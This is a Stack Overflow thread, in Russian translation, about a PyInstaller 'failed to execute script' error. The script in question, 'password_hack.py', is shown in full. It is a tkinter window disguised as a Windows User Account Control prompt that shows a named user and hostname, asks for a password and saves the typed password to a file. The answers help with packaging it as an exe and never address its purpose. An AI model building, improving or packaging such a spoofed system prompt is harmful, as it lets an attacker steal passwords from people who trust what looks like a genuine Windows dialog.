#python #python-3.x #tkinter #error-handling #pyinstaller
#python #python-3.x #tkinter #обработка ошибок #pyinstaller
Вопрос:
Я искал везде, но до сих пор не могу найти решение
Кто-нибудь, пожалуйста, помогите мне.
pyinstaller password_hack.py
команда pyinstaller ^
def store():
file = open("password", "w")
file.write(password.get())
screen1.destroy()
Этот код может быть проблемой ^
from tkinter import *
from tkinter import messagebox
from tkinter import ttk
from selenium import webdriver
from PIL import ImageTk,Image
def store():
file = open("password", "w")
file.write(password.get())
screen1.destroy()
def wrong_pass():
global screen1
screen1 = Tk()
screen1.title(" User Account Control")
screen1.geometry("460x339 800 300")
screen1.config(bg="#F0F0F0")
global password
password = StringVar()
my_img = ImageTk.PhotoImage(Image.open("admin_pass1.png"))
my_label = Label(screen1, image=my_img)
my_label.pack()
Label(screen1, text="Muhammed Falah", bg="#CBE8F6", font=("Verdana", 11)).place(relx=0.22, rely=0.57)
Label(screen1, text="LAPTOP-8LB07TBQ", bg="#CBE8F6", font=("Verdana", 10)).place(relx=0.22, rely=0.64)
pass_entry = Entry(screen1, bd=1.4, width=32, textvariable=password, show="●")
pass_entry.place(relx=0.22, rely=0.73)
ttk.Button(screen1, text="Yes", command=store).place(relx=0.6, rely=0.90)
ttk.Button(screen1, text="No", command=exit).place(relx=0.8, rely=0.90)
screen1.mainloop()
wrong_pass()
Комментарии:
1. В чем проблема?
2. @forgetso я получаю эту ошибку
Pyinstaller Error failed to execute script
при преобразовании файла .py в .exe
Ответ №1:
причины Pyinstaller Error: "failed to execute script"
:
- файлы, используемые исполняемым файлом, находятся в другом каталоге
- убедитесь, что все есть
in place
. - убедитесь, что
paths
в вашей программе естьvalid
и ониexist
.
- убедитесь, что все есть
- скрипт выдает ошибку
- проверьте, нет ли ошибок в скрипте.
- вернитесь к
1
.
Комментарии:
1. Все файлы находятся в одном каталоге. Я не нахожу никаких ошибок при запуске программы.
2. @falahmanalodi В соответствии с добавленным вами изображением все ваши файлы находятся в том же каталоге, что и скрипт (что не имеет значения), но они также должны находиться в том же каталоге, что и exe
3. @AST Я добавил изображение в dist / password_hack, а затем, когда я выполнил программу, терминал cmd открылся и закрылся. Я добавил
input()
в конце скрипта, но он все равно не работал.4. @falahmanalodi В вашем коде я вижу, что файлы находятся в корневом каталоге, а не в папке
password_hack
, надеюсь, вы также обновили это. Кроме того, не могли бы вы обновить свой вопрос сpyinstaller
помощью команды, используемой вами для создания exe.5. @AST
pyinstaller password_hack.py